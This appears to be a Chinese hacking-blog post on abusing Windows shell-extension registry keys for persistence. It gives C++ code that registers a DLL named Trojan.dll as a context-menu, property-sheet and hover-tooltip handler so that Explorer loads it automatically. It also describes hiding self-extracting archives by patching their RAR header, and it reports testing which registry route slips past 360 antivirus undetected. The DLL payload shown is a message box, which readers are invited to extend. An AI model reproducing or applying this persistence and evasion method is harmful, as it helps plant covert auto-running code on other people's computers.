探索黑客技术攻防,实战研究与安全创新

导航菜单

从WinRAR右键菜单到借助Shell扩展自启动

最近发现WinRAR自解压文档(SFX)的右键菜单与普通EXE的右键菜单是不同的,如图1和图2所示。在一个SFX上单击右键,会出现“用WinRAR打开”的选项,但在一个普通的EXE文件上单击右键,却只有“添加到压缩文件”等选项。于是就形成两个问题:SFX和普通EXE文件有什么区别?完成这种区分的代码是怎样获得执行的?其中第二个问题正是我所关心的,因为弄清楚其中的原理之后,便有机会在用户单击右键时启动我们的程序。

A1.png

我们先看第一个问题。SFX确实是一个EXE文件,WinRAR在制作SFX时将待解压的RAR文件打包在里面。当我们运行一个SFX时,它首先以RAR文件的文件头作为标示,将待解压的文件提取出来,再进行解压。RAR文件的文件头是“Rar!(52617271)”,如图3所示。

我们利用WinHEX查看SFX文件便可以验证前面的论断,这样就可以将SFX和普通EXE区分开来。很多时候为了避免SFX文件被发现,我们会将上述RAR文件头进行修改,并对SFX中查找文件头的代码进行patch,以达到目的。经过修改的SFX可以正常解压,但是右键单击的时候不会出现“用WinRAR打开”的选项。

A2.png

图3SFX文件中的RAR文件头

现在来看第二个问题。经过前面的分析,可以猜测在一个EXE文件上单击右键时,explorer执行了某些代码。这些代码验证当前的EXE是否为SFX,如果是则添加“用WinRAR打开”等选项,否则就什么都不做。要验证这个猜测,我们必须找到相应的DLL。首先查看.exe和exefile相关的注册表项,但是没有任何线索,于是转而查看WinRAR的安装目录,很快便发现了可疑的RarExt.dll。从名字上来看应该是WinRAREXTension的缩写,将其复制一份后尝试删除,发现文件被占用。结束explorer.exe,用命令行删除RarExt.dll,再重启explorer.exe,此时在SFX上单击右键,不再出现那些熟悉的选项。

接下来在注册表中搜索RarExt.dll的完整路径(D:\ProgramFiles\WinRAR\RarExt.dll),发现它出现在和HKEY_CLASSES_ROOT\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}

\InProcServer32的默认值下。接着搜索这个CLSID,如图4所示,发现出现在HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\WinRAR的默认值下。

A3.png

图4HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\WinRAR

在注册表中,根键HKEY_CLASSES_ROOT下注册了各种文件类型,上面键名中的“*”显然表示任意类型,shellex是SHELLEXtension的缩写,ContextMenu是上下文菜单,也就是单击右键时显示的菜单,进而ContextMenuHandlers的意义就很明显了。当我们在某种文件上单击右键时,explorer会遍历*\shellex\ContextMenuHandlers下的所有shell扩展,并调用相应的DLL。

这种shell扩展其实应该是COM,在VisualStudio中为ATL项目。Shell扩展提供特定的接口供explorer调用,并返回相应的结果。Explorer根据返回值执行相应的操作,比如在右键菜单中添加“用WinRAR打开”选项等。不过对我们来说,在右键菜单里添加选项只会暴露自己,所以没有必要提供那些接口,只需要编译一个普通的DLL,在DllMain里面添加代码就好。代码如下:


BOOLWINAPIDllMain(HINSTANCEhinstDLL,
DWORDfdwReason,
LPVOIDlpReserved)
{
MessageBox(NULL,LInjectsucceed!,Ltest,MB_OK);
returnTRUE;
}


上述代码只是弹出一个对话框,读者可以自行进行扩展。不过需要注意的是,DllMain函数会被频繁的调用(每次在文件上单击右键时),且在它返回前Explorer一直处于假死状态,所以这里不适合执行太复杂的功能。将Dll编译为D:\Trojan.dll,并将HKEY_CLASSES_ROOT\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32的默认值由RarExt.dll的路径改为该DLL的路径,然后在一个文件上单击右键,对话框成功弹出,

A4.png

图5成功弹出对话框

上述修改会禁用掉WinRAR的ContextMenuHandlers,导致WinRAR提供的右键菜单选项无法显示,容易被用户发现。以下代码在文件类型“*”和Directory(在文件夹上单击右键也会执行我们的DLL)下新注册一个名为Trojan的ContextMenuHandlers,并将预先生成的CLSID关联到我们的DLL上。


#includeWindows.h
#includeShlobj.h
#includeiostream
#includestring
usingnamespacestd;
intmain(){
HKEYkey=NULL;
stringguid={CFDEAC70-8C3A-4AFB-B0B7-7FAB65EE8F43};
stringDllPath=D:\\Trojan.dll;
LONGresult;
result=RegCreateKeyExA(HKEY_CLASSES_ROOT,*\\shellex\\ContextMen
uHandlers\\Trojan,
NULL,NULL,NULL,KEY_ALL_ACCESS,NULL,
&key,NULL);
if(result!=ERROR_SUCCESS)coutFail
to
open
*\\shellex\\ContextMenuHandlers\\Trojanendl;
RegSetValueExA(key,NULL,0,REG_SZ,(BYTE*)guid.c_str(),guid.length
());
RegCloseKey(key);
result=RegCreateKeyExA(HKEY_CLASSES_ROOT,Directory\\shellex\\Co
ntextMenuHandlers\\Trojan,
NULL,NULL,NULL,KEY_ALL_ACCESS,NULL,
&key,NULL);
if(result!=ERROR_SUCCESS)coutFail
to
open
Directory\\shellex\\ContextMenuHandlers\\Trojanendl;
RegSetValueExA(key,NULL,0,REG_SZ,(BYTE*)guid.c_str(),guid.length
());
RegCloseKey(key);
result=RegCreateKeyExA(HKEY_CLASSES_ROOT,(string(CLSID\\)+guid
+string(\\InProcServer32)).c_str(),
NULL,NULL,NULL,KEY_ALL_ACCESS,NULL,
&key,NULL);
if(result!=ERROR_SUCCESS)coutFail
to
open
string(CLSID\\)+guid+string(\\InProcServer32)endl;
RegSetValueExA(key,NULL,0,REG_SZ,(BYTE*)DllPath.c_str(),DllPath.
length());
stringThreadModel=Apartment;
RegSetValueExA(key,ThreadingModel,0,REG_SZ,(BYTE*)ThreadModel.
c_str(),ThreadModel.length());
RegCloseKey(key);
//通知explorer
SHChangeNotify(SHCNE_ASSOCCHANGED,SHCNF_IDLIST,NULL,NULL);
coutDoneendl;
return0;
}


其中SHChangeNotify(SHCNE_ASSOCCHANGED,SHCNF_IDLIST,NULL,NULL);通知explorer文件关联发生改变,促使其进行更新,否则有可能需要重启explorer.exe才会执行我们的DLL。

在Windows7下修改注册表需要管理员权限,所以需要在Properties-Linker-ManifestFile中设置UACExecutionLevel为requireAdministrator(/level='requireAdministrator')。

首先关闭杀软并执行这个程序,对话框成功弹出,说明功能是正确的。但当打开360时,如图6所示,操作被拦截。接下来我尝试了许多方式进行绕过,比如修改相应的注册表项而不是新建,直接替换RarExt.dll,利用PendingFileRenameOperations替换RarExt.dll等,悉数被360拦截,无一幸免。

A5.png

我当然不会就此放弃,一边继续在注册表中查找可能的利用方式,一边上网查找有关的资料。很快,HKEY_CLASSES_ROOT\*\shellex\PropertySheetHandlers引起我的注意。刚才已经分析过ContextMenuHandlers负责处理上下文菜单,那PropertySheetHandlers应该负责处理属性菜单。如图7所示,查看RAR文件的属性时有一个Archive页签,便是WinRAR通过注册PropertySheetHandlers实现的。闲话少说,把刚才程序中的ContextMenuHandlers替换为PropertySheetHandlers,编译运行,打开了一个文件的属性页,360毫无反应,而我们的对话框却已经弹出来了。

A6.png

图7WinRAR添加的Archive页签

到此工作似乎已经完成,但还是美中不足,因为许多用户根本不懂得去查看文件的属性,所以我们的DLL永远得不到执行。不过Handler的种类还有很多种,http://*******/desktop/cc144110(v=vs.85).aspx中有详细的列表与解释。{00021500-0000-0000-C000-000000000046}这个handler的作用是处理鼠标悬停在文件上显示的内容(为什么不叫TooltipHandlers呢?也许是微软有意隐藏吧)。如图8所示,只要鼠标在文件上稍一停留,就会显示提示文本。所以,{00021500-0000-0000-C000-000000000046}的调用频率比PropertySheetHandlers要高得多。

A7.png

要利用这个handler,还有一点要注意。微软的文档中写有“Forthefollowinghandlers,thedefaultvalueoftheHandlerSubkeyNamekeyisthestringversionoftheCLSIDoftheShellextension.Onlyoneextensioncanberegisteredforthesehandlers.”意思是需要在HKEY_CLASSES_ROOT\*\shellex\{00021500-0000-0000-C000-000000000046}的默认值下直接添加我们的CLSID,而不是在HKEY_CLASSES_ROOT\*\shellex\{00021500-0000-0000-C000-000000000046}\Trojan的默认值下添加。为节省篇幅,这里只给出部分代码。


result=RegCreateKeyExA(HKEY_CLASSES_ROOT,*\\shellex\\{00021500-0000-0000-C000-00
0000000046},NULL,NULL,NULL,KEY_ALL_ACCESS,NULL,&key,NULL);
if(result!=ERROR_SUCCESS)
coutFailtoopenendl;
RegSetValueExA(key,NULL,0,REG_SZ,(BYTE*)guid.c_str(),guid.length());


编译并运行我们的程序,360没有给出任何提示。现在只要将鼠标指向某个文件或文件夹,我们的对话框就会弹出来。有的朋友可能会有疑问,原来的Tooltip不再显示会不会导致暴露?答案是不会的。因为我们弹出了一个对话框,要关闭这个对话框就要移动鼠标,所以Tooltip就不会显示。但现实中我们不会弹出对话框,所以原先的Tooltip还是会显示出来。

当然,如果用户已经预先设置*\shellex\{00021500-0000-0000-C000-000000000046},而这种handler只能设置一个(该键的默认值设置为相应的CLSID,默认值只有一个),就会导致无法显示原先的Tooltip文本。解决的办法是将相应的调用转发到原来的DLL上。Shell扩展的内容很多,可以利用的地方也不少,有兴趣的读者可以进一步研究,也欢迎与我交流。

以上就是笔者利用shell扩展自启动的整个研究过程。由于笔者水平有限,不当之处,还望指正。文中程序均在Windows7x64+VS2012下编译执行。